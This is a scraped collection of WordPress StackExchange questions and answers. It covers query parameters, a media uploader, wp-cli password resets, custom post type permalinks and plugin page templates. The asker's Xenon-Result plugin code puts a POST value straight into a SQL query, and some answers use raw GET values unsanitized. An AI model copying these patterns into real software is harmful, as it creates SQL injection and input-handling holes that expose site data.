I'm new to plugins in the backend so I'm probably doing something very wrong. I'd be grateful if someone could point me in the right direction. Or help me find the relevant wp\_\*\_() functions to "re-attach" to the buttons.
Thank you for your time. | Add in the [search parameter](https://codex.wordpress.org/Class_Reference/WP_Query#Search_Parameter) to your query:
```
$search_filters = array(
'post_type' => 'page', // Doorzoekt alle post types
's' => $keyword // show only posts that meet the current search query
);
```
And above that you should just be able to grab the keyword right from your querystring like so:
```
$keyword = $_GET['s'];
```
There's also a WordPress [native function](https://codex.wordpress.org/Template_Tags/get_search_query) that grabs your current search query which might be better to use than grabbing it manually from the querystring:
```
$keyword = get_search_query();
``` |
255,749 | <p>I need help. I’m making a plugin in woo which add html when URL contains a specific word.</p>
<p>I used <code>get_site_url</code>, <code>get_permalink</code>, and others but strangely none was sending the information. Finally I decided use <code>$_SERVER[REQUEST_URI]</code> and works but on some pages doesn’t. Why is this happening? What can I do?</p>
| [
{
"answer_id": 255751,
"author": "Roel Magdaleno",
"author_id": 99204,
"author_profile": "https://wordpress.stackexchange.com/users/99204",
"pm_score": 1,
"selected": false,
"text": "<p>how's the URL structure? Could you paste here?</p>\n\n<p>If you're URL follows this structure: <code>http://example.com/?foo=bar</code>, so you need to get the <code>foo</code> value with this:</p>\n\n<pre><code>if ( isset( $_GET['foo'] ) ) {\n $bar_value = $_GET['foo'];\n // Do whatever you want with $bar_value.\n} else {\n // Do something else.\n}\n</code></pre>\n\n<p>If that doesn't work, you could test <code>get_query_var()</code>function, here is the <a href=\"https://developer.wordpress.org/reference/functions/get_query_var/\" rel=\"nofollow noreferrer\">link</a>. This should work like the code below in a simple way.</p>\n\n<p>Tell me if any of this worked for you.</p>\n"
},
{
"answer_id": 275047,
"author": "Michael Thompson",
"author_id": 56408,
"author_profile": "https://wordpress.stackexchange.com/users/56408",
"pm_score": 0,
"selected": false,
"text": "<p>I can't say why <code>$_SERVER['REQUEST_URI']</code> isn't working sometimes, but here's one way to check if the requested URL contains a phrase using the core <code>WP</code> class:</p>\n\n<pre><code><?php\n\n global $wp;\n\n $magic_phrase = 'abracadabra';\n $request_path = $wp->request;\n\n if (preg_match('/.*'. $magic_phrase .'.*/', $request_path)) {\n // Phrase matches, do what you need here!\n }\n\n?>\n</code></pre>\n\n<p>That'll match any URL that contains \"abracadabra\" at any position in the URL. You can/should update the regex used to check the request path against your phrase to make sure you're not matching paths you don't intend to.</p>\n\n<p>The core <code>WP</code> class does a bit of extra magic with the request to make sure it's consistent and using it instead of server variables might help a bit.</p>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255749",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112896/"
]
| I need help. I’m making a plugin in woo which add html when URL contains a specific word.
I used `get_site_url`, `get_permalink`, and others but strangely none was sending the information. Finally I decided use `$_SERVER[REQUEST_URI]` and works but on some pages doesn’t. Why is this happening? What can I do? | how's the URL structure? Could you paste here?
If you're URL follows this structure: `http://example.com/?foo=bar`, so you need to get the `foo` value with this:
```
if ( isset( $_GET['foo'] ) ) {
$bar_value = $_GET['foo'];
// Do whatever you want with $bar_value.
} else {
// Do something else.
}
```
If that doesn't work, you could test `get_query_var()`function, here is the [link](https://developer.wordpress.org/reference/functions/get_query_var/). This should work like the code below in a simple way.
Tell me if any of this worked for you. |
255,750 | <p><strong>UPDATE:</strong> I have corrected the below code, to reflect the answer which resolved my issue.</p>
<p>I have created a Custom Admin Page and have managed to get all of my Fields and Save buttons to work.</p>
<p>Within said Custom Admin Page, I have an 'Upload Profile Image' button. The button works fine, in the respect of triggering the 'Upload Media' window, with one issue, the first click on the button does not work. Once I have done the first 'faulty click', all subsequent clicks work until I reload the page where the first click does nothing again. </p>
<p>It is my first time working with JavaScript properly, so I am not entirely sure where the error could lie. Here is the JavaScript code I am using:</p>
<pre><code>jQuery(document).ready(function($){
var mediaUploader;
$('#upload-button').on('click',function(e) {
e.preventDefault();
if( mediaUploader ){
mediaUploader.open();
return;
}
mediaUploader = wp.media.frames.fle_frame = wp.media({
title: 'Choose a Profile Picture',
button: {
text: 'Choose Picture'
},
multiple: false
})
mediaUploader.on('select', function(){
attachment = mediaUploader.state().get('selection').first().toJSON();
$('#profile-picture').val(attachment.url); //Was missing this line.
});
mediaUploader.open(); //As soon as I entered this line here, it resolved my 'double click' issue.
});
});
</code></pre>
<p>Is anyone able to see if it is something in my coding that is causing this issue?</p>
| [
{
"answer_id": 255753,
"author": "Craig",
"author_id": 112472,
"author_profile": "https://wordpress.stackexchange.com/users/112472",
"pm_score": 2,
"selected": true,
"text": "<p>I have just sussed out the answer. I was missing the <code>mediaUploader.open();</code> entry. I have amended my original code, accordingly, just in case anyone is having the same issue. </p>\n"
},
{
"answer_id": 345721,
"author": "HireWeb Xpert",
"author_id": 173975,
"author_profile": "https://wordpress.stackexchange.com/users/173975",
"pm_score": 0,
"selected": false,
"text": "<pre><code>function insertuploder(upid){\n this.disabled = true;\n var ures = upid.split(\"_\");\n var uplt = ures[3];\n\nvar mediaUploader;\n\n jQuery('#'+upid).on('click',function(e) {\n e.preventDefault();\n if (mediaUploader) {\n mediaUploader.open();\n return;\n }\n console.log(mediaUploader);\n mediaUploader = wp.media.frames.file_frame = wp.media({\n //title: 'Choose Image',\n button: {\n text: 'Choose Image'\n }, multiple: false });\n mediaUploader.on('select', function() {\n var attachment = mediaUploader.state().get('selection').first().toJSON();\n console.log(attachment);\n jQuery('#background_image_'+uplt).val(attachment.url);\n });\n mediaUploader.open();\n });\n\n}\n</code></pre>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255750",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112472/"
]
| **UPDATE:** I have corrected the below code, to reflect the answer which resolved my issue.
I have created a Custom Admin Page and have managed to get all of my Fields and Save buttons to work.
Within said Custom Admin Page, I have an 'Upload Profile Image' button. The button works fine, in the respect of triggering the 'Upload Media' window, with one issue, the first click on the button does not work. Once I have done the first 'faulty click', all subsequent clicks work until I reload the page where the first click does nothing again.
It is my first time working with JavaScript properly, so I am not entirely sure where the error could lie. Here is the JavaScript code I am using:
```
jQuery(document).ready(function($){
var mediaUploader;
$('#upload-button').on('click',function(e) {
e.preventDefault();
if( mediaUploader ){
mediaUploader.open();
return;
}
mediaUploader = wp.media.frames.fle_frame = wp.media({
title: 'Choose a Profile Picture',
button: {
text: 'Choose Picture'
},
multiple: false
})
mediaUploader.on('select', function(){
attachment = mediaUploader.state().get('selection').first().toJSON();
$('#profile-picture').val(attachment.url); //Was missing this line.
});
mediaUploader.open(); //As soon as I entered this line here, it resolved my 'double click' issue.
});
});
```
Is anyone able to see if it is something in my coding that is causing this issue? | I have just sussed out the answer. I was missing the `mediaUploader.open();` entry. I have amended my original code, accordingly, just in case anyone is having the same issue. |
255,760 | <p>I have a WP Network (sub directory), Sometime specially in case of security emergencies, it is generally preferred to change passwords for all users. </p>
<p>I am looking for a way to reset passwords by sending a password reset url
via email to each user on the network.</p>
<p>Goal here is to just reset all passwords and make users regenerate them through the reset password link on the front end.
Also I would like to kill all active sessions </p>
<p>The easiest way to do this is to regenerate all the SALTs (in .env for me)</p>
<p>How can I do this using wp-cli?</p>
<p>I am comparative new to wp-cli and found out <a href="https://wp-cli.org/commands/user/update/" rel="nofollow noreferrer">https://wp-cli.org/commands/user/update/</a>
where it explains how I can do for an individual user. </p>
<pre><code># Update user
$ wp user update 123 --display_name=Mary --user_pass=marypass
Success: Updated user 123
</code></pre>
<p>.</p>
<p>But there are two problems here,</p>
<ol>
<li>The password has to be entered along with the username, which I think is not the ideal method.</li>
<li>The user should have the freedom to select their password,(consider strong passwords are forced)</li>
</ol>
<p>Any help, reference Urls?</p>
<p><em>Update</em>
I was able to make a small php files which resides on my root directory, and execute in via wp-cli and reset all the passwords at once using wp_generate_password(). </p>
<p>Since I am working on local system right now, I did not check if it sends emails with the reset URL, which is kind of important. But that does not sound too difficult. </p>
<p>What I am concern right now is, I really don't want it to be executed the way it is right now. I am using " wp eval-file password-reset.php;" </p>
<p>I want it to have it more of like a function some what like "wp reset passwords" with parameters like USERROLE, USERNAME, USERID or just * for all users. </p>
<p>Does anyone have any idea how can I get that???</p>
| [
{
"answer_id": 356337,
"author": "Rafa",
"author_id": 181040,
"author_profile": "https://wordpress.stackexchange.com/users/181040",
"pm_score": 0,
"selected": false,
"text": "<p><code>user reset-password user1 user2 userN</code></p>\n\n<p>Will reset password and send email notification to the users.</p>\n\n<p>use <code>--skip-email</code> to not send an email.</p>\n\n<p>cf. <a href=\"https://developer.wordpress.org/cli/commands/user/reset-password/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/cli/commands/user/reset-password/</a></p>\n\n<p>If you want to reset the password for <em>all</em> users you can, first get list of all users , and then trigger the password-reset:</p>\n\n<p><code>wp user list --field=user_login | xargs -n1 -I % wp user reset-password %</code></p>\n\n<p><code>xargs</code> will read the each <code>user_login</code> and pass it to <code>wp user reset-password</code>.</p>\n"
},
{
"answer_id": 357521,
"author": "Marc Schuetze",
"author_id": 181869,
"author_profile": "https://wordpress.stackexchange.com/users/181869",
"pm_score": 1,
"selected": false,
"text": "<p>A simple solution is: </p>\n\n<pre><code>wp user reset-password $(wp user list --field=user_login)\n</code></pre>\n\n<p>got that from forcing all plugins update after a minor takeover:</p>\n\n<pre><code>wp plugin install $(wp plugin list --field=name) --force\n</code></pre>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255760",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/73820/"
]
| I have a WP Network (sub directory), Sometime specially in case of security emergencies, it is generally preferred to change passwords for all users.
I am looking for a way to reset passwords by sending a password reset url
via email to each user on the network.
Goal here is to just reset all passwords and make users regenerate them through the reset password link on the front end.
Also I would like to kill all active sessions
The easiest way to do this is to regenerate all the SALTs (in .env for me)
How can I do this using wp-cli?
I am comparative new to wp-cli and found out <https://wp-cli.org/commands/user/update/>
where it explains how I can do for an individual user.
```
# Update user
$ wp user update 123 --display_name=Mary --user_pass=marypass
Success: Updated user 123
```
.
But there are two problems here,
1. The password has to be entered along with the username, which I think is not the ideal method.
2. The user should have the freedom to select their password,(consider strong passwords are forced)
Any help, reference Urls?
*Update*
I was able to make a small php files which resides on my root directory, and execute in via wp-cli and reset all the passwords at once using wp\_generate\_password().
Since I am working on local system right now, I did not check if it sends emails with the reset URL, which is kind of important. But that does not sound too difficult.
What I am concern right now is, I really don't want it to be executed the way it is right now. I am using " wp eval-file password-reset.php;"
I want it to have it more of like a function some what like "wp reset passwords" with parameters like USERROLE, USERNAME, USERID or just \* for all users.
Does anyone have any idea how can I get that??? | A simple solution is:
```
wp user reset-password $(wp user list --field=user_login)
```
got that from forcing all plugins update after a minor takeover:
```
wp plugin install $(wp plugin list --field=name) --force
``` |
255,767 | <p>I created this plugin and now I'm getting fatal error message. I'm very new to this. Please tell me where I'm wrong:</p>
<pre><code><?php
/*
Plugin Name: Xenon-Result
Plugin URI: https://developer.wordpress.org/plugins/the-basics/
Description: Basic result display plugin.
Version: 1.0
Author: Himanshu Gupta
Author URI: https://developer.wordpress.org/
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks()
{
include('new/result-add-marks.php');
}
/*function Result_Form()
{
include('new/result-form.php');
}*/
function html_form_code()
{
echo '<form action="" method="post">';
echo '<fieldset>';
echo '<legend>Student Information</legend>';
echo 'Roll Number: <input type="number" min="170001" max="171000" name="rollNumber"><br>';
echo '<input type="submit">';
echo '<input type ="reset">';
echo '</form>';
}
function result_display(){
$wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo $result->student_name;
}
function display_shortcode() {
ob_start();
html_form_code();
result_display();
return ob_get_clean();
}
add_shortcode( 'xenon_result_display', 'display_shortcode' );
// Enable shortcodes in text widgets
add_filter('widget_text','do_shortcode');
?>
</code></pre>
| [
{
"answer_id": 255796,
"author": "woony",
"author_id": 17541,
"author_profile": "https://wordpress.stackexchange.com/users/17541",
"pm_score": 0,
"selected": false,
"text": "<p>Most likely you made a change to your theme and made an error. Which does not allow to parse the code correctly resulting in an empty page.</p>\n\n<p>Depending on your server settings it will show some errors or just a blank page for safety reasons.</p>\n\n<p>I suggest you rollback your last changes, one by one untill it works again to identify what change created this behavior.</p>\n\n<p>Good luck.</p>\n"
},
{
"answer_id": 255910,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 2,
"selected": false,
"text": "<p>Sounds like a theme or a plugin is causing the problem. Try renaming the wp-content/plugins folder to quickly disable all plugins and then try logging in. Add the plugins back into the wp-content/plugins folder to find the culprit.</p>\n\n<p>If you have access to the error log file (assuming the site is not that busy), then you might find the error message pointing to the 'bad' file (plugin or theme). </p>\n\n<p>Try this tutorial on the 'white screen of death': <a href=\"http://www.wpbeginner.com/wp-tutorials/how-to-fix-the-wordpress-white-screen-of-death/\" rel=\"nofollow noreferrer\">http://www.wpbeginner.com/wp-tutorials/how-to-fix-the-wordpress-white-screen-of-death/</a> . (Good site for learning.) Their instructions include temporarily disabling plugins, and then trying a different theme (by renaming the theme you are using in wp-content/themes ). Usually the theme or plugin.</p>\n\n<p>Good luck.</p>\n"
},
{
"answer_id": 342013,
"author": "Graeme Bryson",
"author_id": 163962,
"author_profile": "https://wordpress.stackexchange.com/users/163962",
"pm_score": 0,
"selected": false,
"text": "<p>Open your 'wp-config.php' file at the root of your install. Set the <code>WP_DEBUG</code> option (near the bottom) to <code>true</code> and save.</p>\n\n<p>Reload your site, and any errors should be printed above your header - hopefully that'll point you in the right direction if it is a theme/plugin issue.</p>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255767",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112658/"
]
| I created this plugin and now I'm getting fatal error message. I'm very new to this. Please tell me where I'm wrong:
```
<?php
/*
Plugin Name: Xenon-Result
Plugin URI: https://developer.wordpress.org/plugins/the-basics/
Description: Basic result display plugin.
Version: 1.0
Author: Himanshu Gupta
Author URI: https://developer.wordpress.org/
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks()
{
include('new/result-add-marks.php');
}
/*function Result_Form()
{
include('new/result-form.php');
}*/
function html_form_code()
{
echo '<form action="" method="post">';
echo '<fieldset>';
echo '<legend>Student Information</legend>';
echo 'Roll Number: <input type="number" min="170001" max="171000" name="rollNumber"><br>';
echo '<input type="submit">';
echo '<input type ="reset">';
echo '</form>';
}
function result_display(){
$wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo $result->student_name;
}
function display_shortcode() {
ob_start();
html_form_code();
result_display();
return ob_get_clean();
}
add_shortcode( 'xenon_result_display', 'display_shortcode' );
// Enable shortcodes in text widgets
add_filter('widget_text','do_shortcode');
?>
``` | Sounds like a theme or a plugin is causing the problem. Try renaming the wp-content/plugins folder to quickly disable all plugins and then try logging in. Add the plugins back into the wp-content/plugins folder to find the culprit.
If you have access to the error log file (assuming the site is not that busy), then you might find the error message pointing to the 'bad' file (plugin or theme).
Try this tutorial on the 'white screen of death': <http://www.wpbeginner.com/wp-tutorials/how-to-fix-the-wordpress-white-screen-of-death/> . (Good site for learning.) Their instructions include temporarily disabling plugins, and then trying a different theme (by renaming the theme you are using in wp-content/themes ). Usually the theme or plugin.
Good luck. |
255,771 | <p>I have problem with custom post type - permalink is doesn't show:</p>
<p><a href="https://i.stack.imgur.com/MfTql.png" rel="noreferrer"><img src="https://i.stack.imgur.com/MfTql.png" alt="enter image description here"></a></p>
<p>Post type is published, but I can't it show on website.
I tried change permalink structure to <code>?p=123</code>, but it still doesn't work. I tried change 'rewrite' attribute in code to false, but no difference.</p>
<p><strong>Some ideas where can be problem?</strong></p>
<p>Here is my code for custom post types:</p>
<pre><code>$args_team = array(
'labels' => sk_post_type_labels( __('Tým', 'sk'), __('Tým', 'sk') ),
'public' => true,
'has_archive' => true,
'exclude_from_search' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => 10,
'rewrite' => array( 'slug' => 'team' ),
'supports' => array('title','editor','thumbnail','page-attributes')
);
</code></pre>
<p>Thanks for any ideas.</p>
| [
{
"answer_id": 255795,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>Try removing <em>exclude from search</em> and set your permalinks to <strong>Post name</strong>.</p>\n\n<p>you should be able to access with: mysite.com/team/new-team-member</p>\n"
},
{
"answer_id": 277768,
"author": "Mario Melchor",
"author_id": 118793,
"author_profile": "https://wordpress.stackexchange.com/users/118793",
"pm_score": 3,
"selected": false,
"text": "<p>I set the following to true to display the permalinks in the admin section. </p>\n\n<pre><code>'publicly_queryable' => true,\n</code></pre>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255771",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/59666/"
]
| I have problem with custom post type - permalink is doesn't show:
[](https://i.stack.imgur.com/MfTql.png)
Post type is published, but I can't it show on website.
I tried change permalink structure to `?p=123`, but it still doesn't work. I tried change 'rewrite' attribute in code to false, but no difference.
**Some ideas where can be problem?**
Here is my code for custom post types:
```
$args_team = array(
'labels' => sk_post_type_labels( __('Tým', 'sk'), __('Tým', 'sk') ),
'public' => true,
'has_archive' => true,
'exclude_from_search' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => 10,
'rewrite' => array( 'slug' => 'team' ),
'supports' => array('title','editor','thumbnail','page-attributes')
);
```
Thanks for any ideas. | I set the following to true to display the permalinks in the admin section.
```
'publicly_queryable' => true,
``` |
255,775 | <p>I have finally managed to get my plugin working. However, upon submission the whole page reloads along with my output above the form. How can I avoid my page to completely reload and not to display the form once it is submitted?</p>
<pre><code><?php
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks() //function to add marks addition form in admin view
{
include('new/result-add-marks.php');
}
function html_form_code()
{
echo '<form action="" method="post">';
echo '<fieldset>';
echo '<legend>Student Information</legend>';
echo 'Roll Number: <input type="number" min="170001" max="171000" name="rollNumber"><br>';
echo '<input type="submit">';
echo '<input type ="reset">';
echo '</form>';
}
function result_display(){
global $wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo $result->student_name;
}
if(isset($_POST['submit']))
{
result_display();
}
function display_shortcode() {
ob_start();
result_display();
html_form_code();
return ob_get_clean();
}
add_shortcode( 'xenon_result_display', 'display_shortcode' );
// Enable shortcodes in text widgets
add_filter('widget_text','do_shortcode');
</code></pre>
| [
{
"answer_id": 255795,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>Try removing <em>exclude from search</em> and set your permalinks to <strong>Post name</strong>.</p>\n\n<p>you should be able to access with: mysite.com/team/new-team-member</p>\n"
},
{
"answer_id": 277768,
"author": "Mario Melchor",
"author_id": 118793,
"author_profile": "https://wordpress.stackexchange.com/users/118793",
"pm_score": 3,
"selected": false,
"text": "<p>I set the following to true to display the permalinks in the admin section. </p>\n\n<pre><code>'publicly_queryable' => true,\n</code></pre>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255775",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112658/"
]
| I have finally managed to get my plugin working. However, upon submission the whole page reloads along with my output above the form. How can I avoid my page to completely reload and not to display the form once it is submitted?
```
<?php
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks() //function to add marks addition form in admin view
{
include('new/result-add-marks.php');
}
function html_form_code()
{
echo '<form action="" method="post">';
echo '<fieldset>';
echo '<legend>Student Information</legend>';
echo 'Roll Number: <input type="number" min="170001" max="171000" name="rollNumber"><br>';
echo '<input type="submit">';
echo '<input type ="reset">';
echo '</form>';
}
function result_display(){
global $wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo $result->student_name;
}
if(isset($_POST['submit']))
{
result_display();
}
function display_shortcode() {
ob_start();
result_display();
html_form_code();
return ob_get_clean();
}
add_shortcode( 'xenon_result_display', 'display_shortcode' );
// Enable shortcodes in text widgets
add_filter('widget_text','do_shortcode');
``` | I set the following to true to display the permalinks in the admin section.
```
'publicly_queryable' => true,
``` |
255,777 | <p>I have a WordPress website, I submitted it to Google Webmaster and after submitting the sitemap, it's giving me error "URL blocked by robots.txt".</p>
<p>Please help, what should I do?</p>
| [
{
"answer_id": 255795,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>Try removing <em>exclude from search</em> and set your permalinks to <strong>Post name</strong>.</p>\n\n<p>you should be able to access with: mysite.com/team/new-team-member</p>\n"
},
{
"answer_id": 277768,
"author": "Mario Melchor",
"author_id": 118793,
"author_profile": "https://wordpress.stackexchange.com/users/118793",
"pm_score": 3,
"selected": false,
"text": "<p>I set the following to true to display the permalinks in the admin section. </p>\n\n<pre><code>'publicly_queryable' => true,\n</code></pre>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255777",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112920/"
]
| I have a WordPress website, I submitted it to Google Webmaster and after submitting the sitemap, it's giving me error "URL blocked by robots.txt".
Please help, what should I do? | I set the following to true to display the permalinks in the admin section.
```
'publicly_queryable' => true,
``` |
255,782 | <p>I create some dynamic pages in Wordpress through PHP. Lots of them.</p>
<p>Those are not visible in Wordpress backend, as all the data is taken from different database. Each of them use signle PHP template, but have unique URL. Its working just fine.</p>
<p>I have also created taxonomy tags in Wordpress.</p>
<p>How to tell Wordpress that each of those dynamic pages with unique URLs should use specified tags?</p>
<p>Example:
I have pets. Dogs and cats, each of them have their names.</p>
<p>I have tags in Wordpress:
john, dog, joe, cat</p>
<p>I have page in Wordpress:
mydomain.com/pets/</p>
<p>And I have dynamic pages created in PHP from external DB (as dynamic categories, not visible in Wordpress backend):
mydomain.com/pets/cats/
mydomain.com/pets/dogs/</p>
<p>And dynamic subpages with names of pets created in PHP from external DB (also not in backend):
mydomain.com/pets/cats/joe/
mydomain.com/pets/dogs/john/</p>
<p>How to tell Wordpress that page:
mydomain.com/pets/cats/joe/ should be related to tags 'joe' and 'cat'
and page:
mydomain.com/pets/dogs/john/ should be related to tags 'john' and 'dog'</p>
<p>So if someone uses tag:
mydomain.com/tag/john/
it will show him corresponding dog page........</p>
<p>Is it possible? I have plenty of names and a lot of pets ;)</p>
<p>edit: updated title</p>
<p>/orsz</p>
| [
{
"answer_id": 255795,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>Try removing <em>exclude from search</em> and set your permalinks to <strong>Post name</strong>.</p>\n\n<p>you should be able to access with: mysite.com/team/new-team-member</p>\n"
},
{
"answer_id": 277768,
"author": "Mario Melchor",
"author_id": 118793,
"author_profile": "https://wordpress.stackexchange.com/users/118793",
"pm_score": 3,
"selected": false,
"text": "<p>I set the following to true to display the permalinks in the admin section. </p>\n\n<pre><code>'publicly_queryable' => true,\n</code></pre>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255782",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112926/"
]
| I create some dynamic pages in Wordpress through PHP. Lots of them.
Those are not visible in Wordpress backend, as all the data is taken from different database. Each of them use signle PHP template, but have unique URL. Its working just fine.
I have also created taxonomy tags in Wordpress.
How to tell Wordpress that each of those dynamic pages with unique URLs should use specified tags?
Example:
I have pets. Dogs and cats, each of them have their names.
I have tags in Wordpress:
john, dog, joe, cat
I have page in Wordpress:
mydomain.com/pets/
And I have dynamic pages created in PHP from external DB (as dynamic categories, not visible in Wordpress backend):
mydomain.com/pets/cats/
mydomain.com/pets/dogs/
And dynamic subpages with names of pets created in PHP from external DB (also not in backend):
mydomain.com/pets/cats/joe/
mydomain.com/pets/dogs/john/
How to tell Wordpress that page:
mydomain.com/pets/cats/joe/ should be related to tags 'joe' and 'cat'
and page:
mydomain.com/pets/dogs/john/ should be related to tags 'john' and 'dog'
So if someone uses tag:
mydomain.com/tag/john/
it will show him corresponding dog page........
Is it possible? I have plenty of names and a lot of pets ;)
edit: updated title
/orsz | I set the following to true to display the permalinks in the admin section.
```
'publicly_queryable' => true,
``` |
255,804 | <p>I want to add page templates to a theme directly from the plugin. The idea is that the template would show up in the dropdown under Page Attributes, and all the code would need to be in the plugin.</p>
<p>Any tips on how to achieve that ?</p>
| [
{
"answer_id": 255809,
"author": "mrben522",
"author_id": 84703,
"author_profile": "https://wordpress.stackexchange.com/users/84703",
"pm_score": -1,
"selected": false,
"text": "<pre><code><?php load_template( $_template_file, $require_once ) ?>\n</code></pre>\n\n<p>That is from the <a href=\"https://codex.wordpress.org/Function_Reference/load_template\" rel=\"nofollow noreferrer\">very 1st</a> google search results for \"load template from plugin\". Please make an effort to find the answers yourself before asking here.</p>\n"
},
{
"answer_id": 255810,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>From the codex:</p>\n\n<pre><code><?php \n $templates = get_page_templates();\n foreach ( $templates as $template_name => $template_filename ) {\n echo \"$template_name ($template_filename)<br />\";\n }\n?>\n</code></pre>\n\n<p>You get then use the current templates and programmatically add them to whatever you wish.</p>\n"
},
{
"answer_id": 255820,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 5,
"selected": true,
"text": "<p>You can use the <a href=\"https://developer.wordpress.org/reference/hooks/theme_page_templates/\" rel=\"noreferrer\"><code>theme_page_templates</code></a> filter to add templates to the dropdown list of page templates like this:</p>\n\n<pre><code>function wpse255804_add_page_template ($templates) {\n $templates['my-custom-template.php'] = 'My Template';\n return $templates;\n }\nadd_filter ('theme_page_templates', 'wpse255804_add_page_template');\n</code></pre>\n\n<p>Now WP will be searching for <code>my-custom-template.php</code> in the theme directory, so you will have to redirect that to your plugin directory by using the <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/page_template\" rel=\"noreferrer\"><code>page_template</code></a> filter like this:</p>\n\n<pre><code>function wpse255804_redirect_page_template ($template) {\n if ('my-custom-template.php' == basename ($template))\n $template = WP_PLUGIN_DIR . '/mypluginname/my-custom-template.php';\n return $template;\n }\nadd_filter ('page_template', 'wpse255804_redirect_page_template');\n</code></pre>\n\n<p>Read more about this here: <a href=\"https://wordpress.stackexchange.com/questions/13378/add-custom-template-page-programmatically\">Add custom template page programmatically</a></p>\n"
},
{
"answer_id": 316273,
"author": "TKEz",
"author_id": 83438,
"author_profile": "https://wordpress.stackexchange.com/users/83438",
"pm_score": 3,
"selected": false,
"text": "<p>This is a combination of the above answer and the above comments which ended up working for me.</p>\n\n<p>The function to add the plugin to the list of available templates:</p>\n\n<pre><code>function wpse255804_add_page_template ($templates) {\n $templates['my-custom-template.php'] = 'My Template';\n return $templates;\n }\nadd_filter ('theme_page_templates', 'wpse255804_add_page_template');\n</code></pre>\n\n<p><br>\nThe function to point the template to the appropriate directory within the plugin:</p>\n\n<pre><code>function wpse255804_redirect_page_template ($template) {\n $post = get_post();\n $page_template = get_post_meta( $post->ID, '_wp_page_template', true );\n if ('my-custom-template.php' == basename ($page_template))\n $template = WP_PLUGIN_DIR . '/mypluginname/my-custom-template.php';\n return $template;\n }\nadd_filter ('page_template', 'wpse255804_redirect_page_template');\n</code></pre>\n"
},
{
"answer_id": 339312,
"author": "user988846",
"author_id": 13136,
"author_profile": "https://wordpress.stackexchange.com/users/13136",
"pm_score": 1,
"selected": false,
